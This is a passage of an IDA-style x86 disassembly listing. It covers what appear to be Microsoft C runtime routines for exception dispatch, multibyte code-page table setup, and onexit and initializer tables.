		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_418EE8
		cmp	[eax+14h], edi
		jbe	short loc_418EE8
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_418EE8
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_418F07
; ---------------------------------------------------------------------------


loc_418EE8:				; CODE XREF: sub_418E69+51j
					; sub_418E69+56j ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_418C87
		add	esp, 20h


loc_418F04:				; CODE XREF: sub_418E69+2Aj
					; sub_418E69+30j ...
		xor	eax, eax
		inc	eax


loc_418F07:				; CODE XREF: sub_418E69+7Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418E69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F0B	proc near		; CODE XREF: sub_4186EF+19j
					; .text:0041881Bj ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041CE15 SIZE 00000018 BYTES

		push	8
		push	offset stru_427F48
		call	__SEH_prolog
		call	sub_415456
		cmp	dword ptr [eax+6Ch], 0
		jz	short loc_418F3B
		and	[ebp+ms_exc.disabled], 0
		call	sub_415456
		call	dword ptr [eax+6Ch]
		jmp	short loc_418F37
; ---------------------------------------------------------------------------


loc_418F30:				; DATA XREF: .rdata:stru_427F48o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_418F34:				; DATA XREF: .rdata:stru_427F48o
		mov	esp, [ebp+ms_exc.old_esp]


loc_418F37:				; CODE XREF: sub_418F0B+23j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_418F3B:				; CODE XREF: sub_418F0B+15j
		jmp	loc_41CE15
sub_418F0B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F40	proc near		; CODE XREF: sub_413BF2+23p
					; sub_413BF2:loc_413C5Cp ...

ms_exc		= CPPEH_RECORD ptr -18h

		push	8
		push	offset stru_427F58
		call	__SEH_prolog
		mov	eax, off_42CE40
		test	eax, eax
		jz	short loc_418F68
		and	[ebp+ms_exc.disabled], 0
		call	eax ; sub_418F0B
		jmp	short loc_418F64
; ---------------------------------------------------------------------------


loc_418F5D:				; DATA XREF: .rdata:stru_427F58o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_418F61:				; DATA XREF: .rdata:stru_427F58o
		mov	esp, [ebp+ms_exc.old_esp]


loc_418F64:				; CODE XREF: sub_418F40+1Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_418F68:				; CODE XREF: sub_418F40+13j
		jmp	sub_418F0B
sub_418F40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F70	proc near		; CODE XREF: sub_413D01+3Dp
					; sub_41870D+68p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_413ED1
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_418FAF
		mov	ecx, 2


loc_418FAF:				; CODE XREF: sub_418F70+38j
		push	ecx
		call	sub_413ED1
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_418F70	endp


; =============== S U B	R O U T	I N E =======================================



sub_418FBC	proc near		; CODE XREF: sub_41414F+1Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41AA50
		test	eax, eax
		pop	ecx
		jz	short loc_419040
		cmp	esi, offset dword_42C920
		jnz	short loc_418FDA
		xor	eax, eax
		jmp	short loc_418FE5
; ---------------------------------------------------------------------------


loc_418FDA:				; CODE XREF: sub_418FBC+18j
		cmp	esi, offset dword_42C940
		jnz	short loc_419040
		xor	eax, eax
		inc	eax


loc_418FE5:				; CODE XREF: sub_418FBC+1Cj
		inc	dword_479EB8
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_419040
		push	ebx
		push	edi
		lea	edi, ds:47A01Ch[eax*4]
		cmp	dword ptr [edi], 0
		mov	ebx, 1000h
		jnz	short loc_419026
		push	ebx
		call	sub_41344D
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_419026
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_419033
; ---------------------------------------------------------------------------


loc_419026:				; CODE XREF: sub_418FBC+48j
					; sub_418FBC+55j
		mov	edi, [edi]
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+18h], ebx
		mov	[esi+4], ebx


loc_419033:				; CODE XREF: sub_418FBC+68j
		or	word ptr [esi+0Ch], 1102h
		pop	edi
		xor	eax, eax
		pop	ebx
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419040:				; CODE XREF: sub_418FBC+10j
					; sub_418FBC+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_418FBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_419044	proc near		; CODE XREF: sub_41414F+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		jz	short locret_41906D
		push	esi
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41906C
		push	esi
		call	sub_41644D
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx


loc_41906C:				; CODE XREF: sub_419044+10j
		pop	esi

locret_41906D:				; CODE XREF: sub_419044+5j
		retn
sub_419044	endp


; =============== S U B	R O U T	I N E =======================================



sub_41906E	proc near		; CODE XREF: sub_4192C7+FFp
					; sub_4192C7+149p
		sub	eax, 3A4h
		jz	short loc_419097
		sub	eax, 4
		jz	short loc_419091
		sub	eax, 0Dh
		jz	short loc_41908B
		dec	eax
		jz	short loc_419085
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_419085:				; CODE XREF: sub_41906E+12j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41908B:				; CODE XREF: sub_41906E+Fj
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_419091:				; CODE XREF: sub_41906E+Aj
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_419097:				; CODE XREF: sub_41906E+5j
		mov	eax, 411h
		retn
sub_41906E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41909D	proc near		; CODE XREF: sub_4192C7:loc_41943Cp
		push	edi
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_47A400
		rep stosd
		stosb
		xor	eax, eax
		mov	dword_47A504, eax
		mov	dword_47A3F0, eax
		mov	dword_47A3E8, eax
		mov	edi, offset word_47A510
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41909D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4190C6	proc near		; CODE XREF: sub_4192C7:loc_419441p

var_518		= word ptr -518h
var_318		= byte ptr -318h
var_218		= byte ptr -218h
var_118		= byte ptr -118h
var_18		= byte ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 518h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	esi
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	dword_47A504
		call	ds:dword_41F18C
		cmp	eax, 1
		mov	esi, 100h
		jnz	loc_419206
		xor	eax, eax


loc_4190FB:				; CODE XREF: sub_4190C6+3Fj
		mov	[ebp+eax+var_118], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4190FB
		mov	al, [ebp+var_12]
		test	al, al
		mov	[ebp+var_118], 20h
		jz	short loc_41914B
		push	ebx
		lea	edx, [ebp+var_11]
		push	edi


loc_41911A:				; CODE XREF: sub_4190C6+81j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_419141
		sub	ecx, eax
		inc	ecx
		mov	ebx, ecx
		shr	ecx, 2
		lea	edi, [ebp+eax+var_118]
		mov	eax, 20202020h
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_419141:				; CODE XREF: sub_4190C6+5Cj
		inc	edx
		mov	al, [edx]
		inc	edx
		test	al, al
		jnz	short loc_41911A
		pop	edi
		pop	ebx


loc_41914B:				; CODE XREF: sub_4190C6+4Dj
		push	0
		push	dword_47A3E8
		lea	eax, [ebp+var_518]
		push	dword_47A504
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	1
		call	sub_41AF01
		push	0
		push	dword_47A504
		lea	eax, [ebp+var_218]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	esi
		push	dword_47A3E8
		call	sub_4182E4
		push	0
		push	dword_47A504
		lea	eax, [ebp+var_318]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	200h
		push	dword_47A3E8
		call	sub_4182E4
		add	esp, 5Ch
		xor	eax, eax


loc_4191C0:				; CODE XREF: sub_4190C6+13Cj
		mov	cx, [ebp+eax*2+var_518]
		test	cl, 1
		jz	short loc_4191E3
		or	byte_47A401[eax], 10h
		mov	cl, [ebp+eax+var_218]


loc_4191DB:				; CODE XREF: sub_4190C6+130j
		mov	byte_47A520[eax], cl
		jmp	short loc_4191FF
; ---------------------------------------------------------------------------


loc_4191E3:				; CODE XREF: sub_4190C6+105j
		test	cl, 2
		jz	short loc_4191F8
		or	byte_47A401[eax], 20h
		mov	cl, [ebp+eax+var_318]
		jmp	short loc_4191DB
; ---------------------------------------------------------------------------


loc_4191F8:				; CODE XREF: sub_4190C6+120j
		and	byte_47A520[eax], 0


loc_4191FF:				; CODE XREF: sub_4190C6+11Bj
		inc	eax
		cmp	eax, esi
		jb	short loc_4191C0
		jmp	short loc_41924A
; ---------------------------------------------------------------------------


loc_419206:				; CODE XREF: sub_4190C6+2Dj
		xor	eax, eax


loc_419208:				; CODE XREF: sub_4190C6+182j
		cmp	eax, 41h
		jb	short loc_419226
		cmp	eax, 5Ah
		ja	short loc_419226
		or	byte_47A401[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41921E:				; CODE XREF: sub_4190C6+176j
		mov	byte_47A520[eax], cl
		jmp	short loc_419245
; ---------------------------------------------------------------------------


loc_419226:				; CODE XREF: sub_4190C6+145j
					; sub_4190C6+14Aj
		cmp	eax, 61h
		jb	short loc_41923E
		cmp	eax, 7Ah
		ja	short loc_41923E
		or	byte_47A401[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41921E
; ---------------------------------------------------------------------------


loc_41923E:				; CODE XREF: sub_4190C6+163j
					; sub_4190C6+168j
		and	byte_47A520[eax], 0


loc_419245:				; CODE XREF: sub_4190C6+15Ej
		inc	eax
		cmp	eax, esi
		jb	short loc_419208


loc_41924A:				; CODE XREF: sub_4190C6+13Ej
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		call	sub_4182D6
		leave
		retn
sub_4190C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419258	proc near		; CODE XREF: sub_4195CB+1Ap

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset stru_427F68
		call	__SEH_prolog
		push	0Dh
		call	sub_416901
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		call	sub_415456
		mov	edi, eax
		mov	[ebp+var_1C], edi
		mov	esi, [edi+60h]
		mov	[ebp+var_20], esi
		cmp	esi, dword_47A3EC
		jz	short loc_4192AA
		test	esi, esi
		jz	short loc_419297
		dec	dword ptr [esi]
		jnz	short loc_419297
		push	esi
		call	sub_412FE4
		pop	ecx


loc_419297:				; CODE XREF: sub_419258+32j
					; sub_419258+36j
		mov	eax, dword_47A3EC
		mov	[edi+60h], eax
		mov	esi, dword_47A3EC
		mov	[ebp+var_20], esi
		inc	dword ptr [esi]


loc_4192AA:				; CODE XREF: sub_419258+2Ej
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4192BE
		mov	eax, esi
		call	__SEH_epilog
		retn
sub_419258	endp


; =============== S U B	R O U T	I N E =======================================



sub_4192BB	proc near		; DATA XREF: .rdata:stru_427F68o
		mov	esi, [ebp-20h]
sub_4192BB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4192BE	proc near		; CODE XREF: sub_419258+56p
		push	0Dh
		call	sub_41686D
		pop	ecx
		retn
sub_4192BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192C7	proc near		; CODE XREF: sub_41945D+9Fp

var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		mov	[ebp+var_4], eax
		push	edi
		jz	loc_41943C
		xor	edx, edx
		xor	eax, eax


loc_4192EC:				; CODE XREF: sub_4192C7+36j
		cmp	dword_42CE58[eax], esi
		jz	short loc_419359
		add	eax, 30h
		inc	edx
		cmp	eax, 0F0h
		jb	short loc_4192EC
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	ds:dword_41F18C
		cmp	eax, 1
		jnz	loc_419434
		push	40h
		xor	eax, eax
		cmp	[ebp+var_1C], 1
		pop	ecx
		mov	edi, offset byte_47A400
		rep stosd
		stosb
		mov	dword_47A504, esi
		mov	dword_47A3E8, ebx
		jbe	loc_419422
		cmp	[ebp+var_16], 0
		jz	loc_4193FA
		lea	ecx, [ebp+var_15]


loc_419343:				; CODE XREF: sub_4192C7+12Dj
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_4193FA
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl
		jmp	loc_4193EA
; ---------------------------------------------------------------------------


loc_419359:				; CODE XREF: sub_4192C7+2Bj
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_47A400
		rep stosd
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		mov	[ebp+var_8], ebx
		stosb
		lea	ebx, dword_42CE68[ecx]


loc_419375:				; CODE XREF: sub_4192C7+EBj
		mov	al, [ebx]
		mov	esi, ebx
		jmp	short loc_4193A4
; ---------------------------------------------------------------------------


loc_41937B:				; CODE XREF: sub_4192C7+DFj
		mov	dl, [esi+1]
		test	dl, dl
		jz	short loc_4193A8
		movzx	eax, al
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_4193A0
		mov	edx, [ebp+var_8]
		mov	dl, byte_42CE50[edx]


loc_419395:				; CODE XREF: sub_4192C7+D7j
		or	byte_47A401[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_419395


loc_4193A0:				; CODE XREF: sub_4192C7+C3j
		inc	esi
		inc	esi
		mov	al, [esi]


loc_4193A4:				; CODE XREF: sub_4192C7+B2j
		test	al, al
		jnz	short loc_41937B


loc_4193A8:				; CODE XREF: sub_4192C7+B9j
		inc	[ebp+var_8]
		add	ebx, 8
		cmp	[ebp+var_8], 4
		jb	short loc_419375
		mov	eax, [ebp+arg_0]
		mov	dword_47A504, eax
		mov	dword_47A3F0, 1
		call	sub_41906E
		lea	ecx, dword_42CE5C[ecx]
		mov	esi, ecx
		mov	edi, offset word_47A510
		movsd
		movsd
		mov	dword_47A3E8, eax
		movsd
		jmp	short loc_419441
; ---------------------------------------------------------------------------


loc_4193E2:				; CODE XREF: sub_4192C7+125j
		or	byte_47A401[eax], 4
		inc	eax


loc_4193EA:				; CODE XREF: sub_4192C7+8Dj
		cmp	eax, edx
		jbe	short loc_4193E2
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_419343


loc_4193FA:				; CODE XREF: sub_4192C7+73j
					; sub_4192C7+80j
		xor	ecx, ecx
		inc	ecx
		mov	eax, ecx


loc_4193FF:				; CODE XREF: sub_4192C7+145j
		or	byte_47A401[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_4193FF
		mov	eax, esi
		call	sub_41906E
		mov	dword_47A3E8, eax
		mov	dword_47A3F0, ecx
		jmp	short loc_419428
; ---------------------------------------------------------------------------


loc_419422:				; CODE XREF: sub_4192C7+69j
		mov	dword_47A3F0, ebx


loc_419428:				; CODE XREF: sub_4192C7+159j
		xor	eax, eax
		mov	edi, offset word_47A510
		stosd
		stosd
		stosd
		jmp	short loc_419441
; ---------------------------------------------------------------------------


loc_419434:				; CODE XREF: sub_4192C7+46j
		cmp	dword_47A024, ebx
		jz	short loc_41944A


loc_41943C:				; CODE XREF: sub_4192C7+1Bj
		call	sub_41909D


loc_419441:				; CODE XREF: sub_4192C7+119j
					; sub_4192C7+16Bj
		call	sub_4190C6
		xor	eax, eax
		jmp	short loc_41944D
; ---------------------------------------------------------------------------


loc_41944A:				; CODE XREF: sub_4192C7+173j
		or	eax, 0FFFFFFFFh


loc_41944D:				; CODE XREF: sub_4192C7+181j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_4182D6
		leave
		retn
sub_4192C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41945D	proc near		; CODE XREF: sub_4195AD+Bp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	14h
		push	offset stru_427F78
		call	__SEH_prolog
		or	[ebp+var_1C], 0FFFFFFFFh
		push	0Dh
		call	sub_416901
		pop	ecx
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		mov	dword_47A024, edi
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41949A
		mov	dword_47A024, 1
		call	ds:dword_41F188
		jmp	short loc_4194C5
; ---------------------------------------------------------------------------


loc_41949A:				; CODE XREF: sub_41945D+29j
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_4194B1
		mov	dword_47A024, 1
		call	ds:dword_41F184
		jmp	short loc_4194C5
; ---------------------------------------------------------------------------


loc_4194B1:				; CODE XREF: sub_41945D+40j
		cmp	eax, 0FFFFFFFCh
		jnz	short loc_4194C5
		mov	dword_47A024, 1
		mov	eax, dword_47A188


loc_4194C5:				; CODE XREF: sub_41945D+3Bj
					; sub_41945D+52j ...
		mov	[ebp+arg_0], eax
		cmp	eax, dword_47A504
		jz	loc_41958F
		mov	esi, dword_47A3EC
		mov	[ebp+var_20], esi
		cmp	esi, edi
		jz	short loc_4194E5
		cmp	[esi], edi
		jz	short loc_4194F5


loc_4194E5:				; CODE XREF: sub_41945D+82j
		push	220h
		call	sub_41344D
		pop	ecx
		mov	esi, eax
		mov	[ebp+var_20], esi


loc_4194F5:				; CODE XREF: sub_41945D+86j
		cmp	esi, edi
		jz	short loc_419578
		push	[ebp+arg_0]
		call	sub_4192C7
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jnz	short loc_419578
		mov	[esi], edi
		mov	eax, dword_47A504
		mov	[esi+4], eax
		mov	eax, dword_47A3F0
		mov	[esi+8], eax
		mov	eax, dword_47A3E8
		mov	[esi+0Ch], eax
		xor	eax, eax


loc_419525:				; CODE XREF: sub_41945D+DEj
		mov	[ebp+var_24], eax
		cmp	eax, 5
		jge	short loc_41953D
		mov	cx, word_47A510[eax*2]
		mov	[esi+eax*2+10h], cx
		inc	eax
		jmp	short loc_419525
; ---------------------------------------------------------------------------


loc_41953D:				; CODE XREF: sub_41945D+CEj
		xor	eax, eax


loc_41953F:				; CODE XREF: sub_41945D+F7j
		mov	[ebp+var_24], eax
		cmp	eax, 101h
		jge	short loc_419556
		mov	cl, byte_47A400[eax]
		mov	[eax+esi+1Ch], cl
		inc	eax
		jmp	short loc_41953F
; ---------------------------------------------------------------------------


loc_419556:				; CODE XREF: sub_41945D+EAj
		xor	eax, eax


loc_419558:				; CODE XREF: sub_41945D+113j
		mov	[ebp+var_24], eax
		cmp	eax, 100h
		jge	short loc_419572
		mov	cl, byte_47A520[eax]
		mov	[eax+esi+11Dh],	cl
		inc	eax
		jmp	short loc_419558
; ---------------------------------------------------------------------------


loc_419572:				; CODE XREF: sub_41945D+103j
		mov	dword_47A3EC, esi


loc_419578:				; CODE XREF: sub_41945D+9Aj
					; sub_41945D+AAj
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_419592
		cmp	esi, dword_47A3EC
		jz	short loc_419592
		push	esi
		call	sub_412FE4
		pop	ecx
		jmp	short loc_419592
; ---------------------------------------------------------------------------


loc_41958F:				; CODE XREF: sub_41945D+71j
		mov	[ebp+var_1C], edi


loc_419592:				; CODE XREF: sub_41945D+11Fj
					; sub_41945D+127j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4195A4
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41945D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4195A4	proc near		; CODE XREF: sub_41945D+139p
					; DATA XREF: .rdata:stru_427F78o
		push	0Dh
		call	sub_41686D
		pop	ecx
		retn
sub_4195A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4195AD	proc near		; CODE XREF: sub_41A15E+9p
					; sub_41A1C7+Dp ...
		cmp	dword_47B674, 0
		jnz	short loc_4195C8
		push	0FFFFFFFDh
		call	sub_41945D
		pop	ecx
		mov	dword_47B674, 1


loc_4195C8:				; CODE XREF: sub_4195AD+7j
		xor	eax, eax
		retn
sub_4195AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4195CB	proc near		; CODE XREF: sub_4141AD+2Cp
					; sub_4141AD+A7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		call	sub_415456
		mov	eax, [eax+60h]
		cmp	eax, dword_47A3EC
		jz	short loc_4195EA
		call	sub_419258


loc_4195EA:				; CODE XREF: sub_4195CB+18j
		cmp	dword ptr [eax+8], 0
		jnz	short loc_419601
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_412C40
		add	esp, 0Ch
		jmp	short loc_419649
; ---------------------------------------------------------------------------


loc_419601:				; CODE XREF: sub_4195CB+23j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_419646
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]


loc_41960D:				; CODE XREF: sub_4195CB+89j
		mov	dl, [esi]
		movzx	ebx, dl
		dec	ecx
		test	byte ptr [ebx+eax+1Dh],	4
		mov	[edi], dl
		jz	short loc_41964C
		inc	edi
		inc	esi
		test	ecx, ecx
		jz	short loc_419658
		mov	dl, [esi]
		dec	ecx
		mov	[edi], dl
		inc	edi
		inc	esi
		test	dl, dl
		jnz	short loc_419652
		and	[edi-2], dl


loc_419630:				; CODE XREF: sub_4195CB+85j
		test	ecx, ecx
		jz	short loc_419644
		mov	edx, ecx
		shr	ecx, 2
		xor	eax, eax
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_419644:				; CODE XREF: sub_4195CB+67j
					; sub_4195CB+8Bj ...
		pop	esi
		pop	ebx


loc_419646:				; CODE XREF: sub_4195CB+3Bj
		mov	eax, [ebp+arg_0]


loc_419649:				; CODE XREF: sub_4195CB+34j
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41964C:				; CODE XREF: sub_4195CB+4Fj
		inc	edi
		inc	esi
		test	dl, dl
		jz	short loc_419630


loc_419652:				; CODE XREF: sub_4195CB+60j
		test	ecx, ecx
		jnz	short loc_41960D
		jmp	short loc_419644
; ---------------------------------------------------------------------------


loc_419658:				; CODE XREF: sub_4195CB+55j
		and	byte ptr [edi-1], 0
		jmp	short loc_419644
sub_4195CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41965E	proc near		; CODE XREF: sub_419706+18p
		push	esi
		push	dword_47B670
		call	sub_41CE2D
		pop	ecx
		mov	ecx, dword_47B66C
		mov	esi, eax
		mov	eax, dword_47B670
		mov	edx, ecx
		sub	edx, eax
		add	edx, 4
		cmp	esi, edx
		jnb	short loc_4196D1
		mov	ecx, 800h
		cmp	esi, ecx
		jnb	short loc_41968E
		mov	ecx, esi


loc_41968E:				; CODE XREF: sub_41965E+2Cj
		add	ecx, esi
		push	ecx
		push	eax
		call	sub_41318A
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4196B4
		add	esi, 10h
		push	esi
		push	dword_47B670
		call	sub_41318A
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4196B4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4196B4:				; CODE XREF: sub_41965E+3Dj
					; sub_41965E+52j
		mov	ecx, dword_47B66C
		sub	ecx, dword_47B670
		mov	dword_47B670, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_47B66C, ecx


loc_4196D1:				; CODE XREF: sub_41965E+23j
		mov	[ecx], edi
		add	dword_47B66C, 4
		mov	eax, edi
		pop	esi
		retn
sub_41965E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4196DE	proc near		; DATA XREF: .data:0042A018o
		push	80h
		call	sub_41344D
		test	eax, eax
		pop	ecx
		mov	dword_47B670, eax
		jnz	short loc_4196F6
		push	18h
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4196F6:				; CODE XREF: sub_4196DE+12j
		and	dword ptr [eax], 0
		mov	eax, dword_47B670
		mov	dword_47B66C, eax
		xor	eax, eax
		retn
sub_4196DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419706	proc near		; CODE XREF: sub_41973E+4p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset stru_427F88
		call	__SEH_prolog
		call	loc_4143E9
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_0]
		call	sub_41965E
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_419738
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_419706	endp


; =============== S U B	R O U T	I N E =======================================



sub_419738	proc near		; CODE XREF: sub_419706+24p
					; DATA XREF: .rdata:stru_427F88o
		call	sub_4143F2
		retn
sub_419738	endp


; =============== S U B	R O U T	I N E =======================================



sub_41973E	proc near		; CODE XREF: sub_4143FB+3Bp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_419706
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		dec	eax
		retn
sub_41973E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419750	proc near		; CODE XREF: .text:loc_414A16p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_427F98
		call	__SEH_prolog
		mov	[ebp+var_1C], offset dword_4288D0


loc_419763:				; CODE XREF: sub_419750+3Cj
		cmp	[ebp+var_1C], offset dword_4288D0
		jnb	short loc_41978E
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_419784
		call	eax
		jmp	short loc_419784
; ---------------------------------------------------------------------------


loc_41977D:				; DATA XREF: .rdata:stru_427F98o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_419781:				; DATA XREF: .rdata:stru_427F98o
		mov	esp, [ebp+ms_exc.old_esp]


loc_419784:				; CODE XREF: sub_419750+27j
					; sub_419750+2Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		add	[ebp+var_1C], 4
		jmp	short loc_419763
; ---------------------------------------------------------------------------


loc_41978E:				; CODE XREF: sub_419750+1Aj
		call	__SEH_epilog
		retn
sub_419750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419794	proc near		; DATA XREF: sub_4143FB:loc_414431o

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_427FA8
